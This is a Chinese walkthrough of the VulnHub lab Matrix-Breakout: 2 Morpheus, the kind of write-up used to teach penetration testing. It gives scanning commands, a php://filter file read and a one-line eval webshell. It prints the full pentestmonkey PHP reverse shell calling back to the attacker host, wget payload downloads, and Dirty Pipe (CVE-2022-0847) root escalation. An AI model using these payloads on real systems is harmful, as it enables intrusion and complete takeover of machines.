准备:

攻击机:虚拟机kali、本机win10。

靶机:Matrix-Breakout: 2 Morpheus,下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova,下载后直接vm打开即可。

知识点:文件上传、php伪协议、shell反弹、漏洞收集脚本的使用、CVE-2022-0847提权。

一:信息收集

1.nmap扫描

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22端口、80端口、81端口,开启了http服务、ssh服务。

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.3 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt、graffiti.txt、graffiti.php等文件。

二:获取shell

1.burpsuite抓包

访问下扫描到的文件信息,获得如下信息:

使用brupsuite抓取提交的数据包进行分析,发现其存在参数file=graffiti.txt,并且返回的数据包中显示了graffiti.txt文件的信息。

那这里就存在文件读取漏洞。那我们使用php伪协议读取下graffiti.php文件的源码信息,命令:php://filter/read=convert.base64-encode/resource=graffiti.php,将获得加密数据进行base64解码,获得源码信息。

graffiti.php代码信息

<h1>
<center>
Nebuchadnezzar Graffiti Wall </center>
</h1>
<p>
<?php $file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
} // Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>

2.文件上传获取shell

分析graffiti.php代码发现,当$file参数默认为graffiti.txt,但是当我们传递$file参数时会覆盖掉原来的默认值,因此这里我们可以直接写入后门文件,一句话后门:<?php%20eval($_POST['x']);?>,然后使用蚁剑进行连接,成功获得shell权限。这里注意下使用get的时候会出问题,尽量使用POST。

3.shell反弹

在这个网站:https://www.revshells.com/,使用php生成shell反弹脚本,然后在kali中开启web服务:python -m http.server,将shell反弹脚本下载到靶机:wget http://172.20.10.7:8000/backShell.php,在web中访问该文件即可获得反弹shell:http://172.20.10.3/backShell.php。

backShell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.7';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0; if (function_exists('pcntl_fork')) {
$pid = pcntl_fork(); if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
} if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
} $daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
} chdir("/"); umask(0); // Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
} $descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
} stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
} if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
} $read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
} if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
} if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
} fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process); function printit ($string) {
if (!$daemon) {
print "$string\n";
}
} ?>

获得shell权限后在当前目录下发现FLAG.txt文件,访问该文件获得flag值。

三:提权

1.漏洞信息查找

在shell中一番查找也未发现有用的信息,在home下发现两个账户信息,但是查找和两个账户有关的信息,也未发现有啥可利用的信息。

那就直接上脚本吧,利用脚本查找下可以利用的漏洞信息。脚本链接:链接:https://pan.baidu.com/s/1FUd0ohk7rkl-cJR18jkQ0w,提取码:upfn。命令:wget http://172.20.10.7:8000/linpeas.sh,然后赋予执行权限进行执行。

执行脚本后发现存在cve-2022-0847漏洞,这里可以尝试使用该漏洞进行提权,查找下该漏洞的提权方式:https://github.com/imfiver/CVE-2022-0847。

2.CVE-2022-0847提权

下载提权脚本后上传到靶机,命令:wget http://172.20.10.7:8000/Dirty-Pipe.sh,赋予执行权限后执行该脚本成功获得root权限。

获得root权限后在/root目录下发现FLAG.txt文件,访问该文件成功获得flag值。

vulnhub靶场之MATRIX-BREAKOUT: 2 MORPHEUS的更多相关文章

  1. 【Vulnhub靶场】EMPIRE: BREAKOUT

    环境准备 下载靶机,导入到vmware里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2.15 靶机IP地址为:192.16 ...

  2. vulnhub靶场渗透实战15-matrix-breakout-2-morpheus

    vulnhub靶场渗透实战15-matrix-breakout-2-morpheus 靶机搭建:vulnhub上是说vbox里更合适.可能有vbox版本兼容问题,我用的vmware导入. 靶场下载地址 ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  6. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  7. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  8. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  9. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  10. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

随机推荐

  1. Windows下使用VSCode搭建IDA Python脚本开发环境

    由于本人是VSCode的重度沉迷用户,需要写代码时总会想起这个软件,因此选择在VSCode中搭建IDA Python的开发环境 本文适用的环境如下: 1.操作系统 windows 2.Python3 ...

  2. SQL审核平台Yearning

    1.关于Yearming Yearming是一个Sql审核平台,底层使用Go语言,安装和部署方式也很便捷 项目地址 https://guide.yearning.io/install.html git ...

  3. 在Windows服务器安装禅道

    1.服务器上 浏览器打开禅道官网:https://www.zentao.net/ 2.下载禅道版本,这里安装的是开源版 3.下载完成之后,一键安装 安装完成之后,即可访问:

  4. java逻辑运算中异或^

    本文主要阐明逻辑运算符^(异或)的作用 a ^ b,相异为真,相同为假. 注意,异或运算,还能交换两个变量. int a = 1; int b = 2; System.out.println(&quo ...

  5. [数据结构]单向链表及其基本操作(C语言)

    单向链表 什么是单向链表 链表是一种物理储存单元上非连续.非顺序的储存结构.它由一系列结点(链表中每一个元素称为结点)组成,结点可动态生成.每个结点包括两个部分:一个是存储数据元素的数据域,另一个是存 ...

  6. nacos注册中心单节点ap架构源码解析

    一.注册流程 单nacos节点流程图如下: 流程图可以知,Nacos注册流程包括客户端的服务注册.服务实例列表拉取.定时心跳任务:以及服务端的定时检查服务实例任务.服务实例更新推送5个功能. 服务注册 ...

  7. Asp-Net-Core-管道VS过滤器

    title: Asp.Net Core底层源码剖析(二)过滤器 date: 2022-09-18 10:41:57 categories: 后端 tags: - .NET 正文 Asp.Net Cor ...

  8. 【Machine Teaching】An Overview of Machine Teaching

    Machine Teaching 1 Introduction 1️⃣ 什么是 Machine Teaching? searching the optimal (usually minimal) te ...

  9. centos搭建neo4j环境(含java)2021_12

    限centos neo4j与java下载: 链接:https://pan.baidu.com/s/1ei15dROGy3OwJfbislxH7g 提取码:8B3A   下载后 1.在linux中建立文 ...

  10. angular---angular路由守卫,有的可以访问有的不可以访问,有的路由地址只有在满足条件时候访问,其它禁止访问,